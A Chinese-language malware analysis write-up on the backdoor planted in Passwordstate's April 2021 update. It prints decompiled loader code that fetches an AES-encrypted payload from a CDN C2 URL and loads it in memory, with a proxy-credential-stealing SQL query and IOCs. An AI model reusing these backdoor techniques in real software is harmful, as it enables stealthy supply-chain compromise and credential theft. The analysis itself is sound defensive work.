标签 Exeinfo PE 下的文章

2021年4月，企业密码管理软件 Passwordstate 遭遇供应链攻击，攻击者入侵了官方升级服务器，在更新包中植入后门。最近拿到了当时的恶意样本，来分析一下这个后门是怎么藏的、怎么工作的。

0x00 样本基本信息

先用 Exeinfo PE 扫一眼：

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4

虽然有混淆，但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构：

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│   ├── Container
│   └── Loader
└── Moserware
    ├── Algebra
    ├── Numerics
    └── Security.Cryptography

看起来是个实现 Shamir 秘密共享算法的开源库，GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。

0x01 发现后门入口

翻了翻代码，在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻：

Public MustInherit Class Diffuser
    Protected Sub New()
        Container.Running(
            "https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
            "f4f15dddc3ba10dd443493a2a8a526b0",
            7200000,
            "Agent.Agent",
            "Invoke"
        )
    End Sub
End Class

好家伙，构造函数里直接调用了 Container.Running()，传了一堆参数进去。

这意味着只要有任何代码 new 了一个继承 Diffuser 的类，后门就会被触发。而 Diffuser 是个抽象基类，下面有好几个子类在用，触发条件太容易满足了。

作者选择把恶意代码藏在构造函数里，而不是静态构造函数，说明他不想在程序集加载时就暴露，而是等到真正使用加密功能时才激活。很狡猾。

0x02 后门核心逻辑分析

跟进 Loader.Container 类，这才是重头戏。

目标检测

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
    ' 只在目标进程中执行
End If

只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件，看来这个后门是专门针对它的供应链攻击。

在沙箱或者分析环境里跑这个 DLL？抱歉，啥也不干，直接装死。这招能绕过很多自动化分析。

C2 通信

Private Shared Function [Get](u As String, ...) As Byte()
    ' 禁用证书验证，方便中间人
    ServicePointManager.ServerCertificateValidationCallback = Function(...) True

    ' 伪装成 Chrome 浏览器
    httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."

几个关键点：

禁用 SSL 证书验证 - 攻击者可以随时劫持流量
User-Agent 伪装 - 流量看起来像正常浏览器请求
URL 加时间戳 - 绕过缓存，确保每次都能拿到最新 payload

Payload 解密

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
    Return New RijndaelManaged() With {
        .Key = Encoding.UTF8.GetBytes(Key),
        .Mode = CipherMode.ECB,
        .Padding = PaddingMode.PKCS7
    }.CreateDecryptor().TransformFinalBlock(...)
End Function

从 C2 下载的内容是 Base64 编码的 AES 密文，密钥是硬编码的：

f4f15dddc3ba10dd443493a2a8a526b0

用的 ECB 模式，虽然不安全，但对于加载 payload 来说够用了。

凭据窃取彩蛋

翻代码的时候还发现个有意思的函数 GetProxyInfo：

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"

后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网，后门会自动适配。想得真周到啊...

而且解密代理密码用的是 Passwordstate 自己的解密函数：

assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)

借刀杀人，妙啊。

0x03 Payload 执行

最后看看 Loader.Loader 类，负责执行下载的 payload：

}}

Private Sub ThreadFunc()
    Assembly.Load(Me.assemblyData) _
        .[GetType](Me.assemblyType) _
        .GetMethod(Me.assemblyMethod) _
        .Invoke(Nothing, Nothing)
End Sub

经典的无文件攻击：

Assembly.Load() 直接从内存加载程序集
通过反射找到指定的类和方法
调用执行

根据硬编码的参数，它会执行 Agent.Agent.Invoke()。整个过程不落地文件，杀软很难检测。

0x04 攻击流程总结

Passwordstate 启动
        |
        v
加载 Moserware.SecretSplitter.dll
        |
        v
使用加密功能 -> 实例化 Diffuser 子类
        |
        v
触发构造函数 -> Container.Running()
        |
        v
检测进程名 == "Passwordstate" ?
        |
       YES
        v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
        |
        v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
        |
        v
Assembly.Load() 内存加载
        |
        v
反射调用 Agent.Agent.Invoke()
        |
        v
每 2 小时循环检查更新

0x05 C2 域名分析

后门中硬编码的回连地址：

https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

拆解一下这个域名：

组成部分	说明
`passwordstate`	伪装成目标软件的官方域名
`18ed2`	随机字符串，可能用于区分不同攻击批次
`kxcdn.com`	KeyCDN 的 CDN 域名

攻击者用 CDN 来托管恶意 payload 有几个好处：

隐藏真实服务器 - CDN 背后的源站 IP 不会直接暴露
提高可用性 - CDN 节点多，不容易被单点屏蔽
流量伪装 - HTTPS + 知名 CDN 域名，看起来像正常业务流量

事件背景

这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件：

时间线: 2021年4月20日 20:33 UTC 至 4月22日 00:30 UTC（约28小时窗口期）
攻击方式: 攻击者入侵了 Passwordstate 的升级服务器，篡改了官方更新包
受影响范围: Passwordstate 被全球约 29,000 家企业使用，包括多家财富500强公司
恶意软件名称: 被安全厂商命名为 Moserpass

攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中，然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户，都中招了。

0x06 IOCs 汇总

网络指标:

域名: passwordstate-18ed2.kxcdn.com
URL:  https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

加密密钥:

AES Key: f4f15dddc3ba10dd443493a2a8a526b0

行为特征:

进程名检测: Passwordstate
禁用 SSL 证书验证
SQL 查询: SELECT ... FROM [SystemSettings]
内存加载: Assembly.Load() + 反射执行
心跳间隔: 7200000ms (2小时)